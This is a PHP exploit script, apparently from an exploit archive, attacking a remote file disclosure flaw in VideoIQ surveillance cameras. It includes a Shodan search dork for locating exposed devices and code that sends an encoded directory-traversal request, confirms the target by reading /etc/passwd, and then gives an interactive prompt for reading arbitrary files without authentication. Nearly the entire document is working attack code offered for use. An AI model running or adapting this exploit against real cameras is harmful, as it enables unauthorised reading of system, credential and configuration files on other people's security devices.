VideoIQ Camera – Local File Disclosure
<?php # VideoIQ Camera Remote File Disclosure 0day Exploit # # VideoIQ develops intelligent video surveillance cameras using edge video IP security cameras paired with video analytics. # # Exploit Coded & Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman) # Date 20/08/2016 # Shodan Dork : title:"VideoIQ Camera Login" # Version Affected : All Versions # Vendor Homepage : http://avigilon.com # CVE : N/A # Description : VideoIQ is vulnerable to remote file disclosure which allows to any unauthenticated user read any file system including file configurations. ### # Exploit code: error_reporting(0); $error[0] = "[!] This script is intended to be launched from the cli."; if(php_sapi_name() <> "cli") die($error[0]); if($argc < 3) { echo("\nUsage : php {$argv[0]} <host> <port>"); echo("\nExample: php {$argv[0]} localhost 8080"); die(); } if(isset($argv[1]) && isset($argv[2])) { $host = $argv[1]; $port = $argv[2]; } $pack = "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{FILE_PATH} HTTP/1.0\r\n"; $pack.= "Host: {$host}\r\n"; $pack.= "Connection: close\r\n\r\n"; while(1) { if(strstr(http_send($host, $port, preg_replace("/{FILE_PATH}/", '/etc/passwd', $pack)), 'root')) { echo("\nAnonymous@{$host}:~# cat "); if(($file = trim(fgets(STDIN))) == "exit") break; $ret = http_send($host, $port, preg_replace("/{FILE_PATH}/", $file, $pack)); if(strstr($ret, '<title>Error 404 NOT_FOUND</title>') || strstr($ret, '<p>Problem accessing') || strstr($ret, '<h2>HTTP ERROR 404</h2>')) { echo("cat: {$file}: No such file or directory"); } else { echo($ret); } } else { echo("[-] Server likely not vulnerable.\n"); break; } } function http_send($host, $port, $pack) { if(!($sock = fsockopen($host, $port))) die("\n[-] No response from {$host}\n"); fwrite($sock, $pack); $response = explode("\r\n\r\n", stream_get_contents($sock)); return($response[1]); } ?> |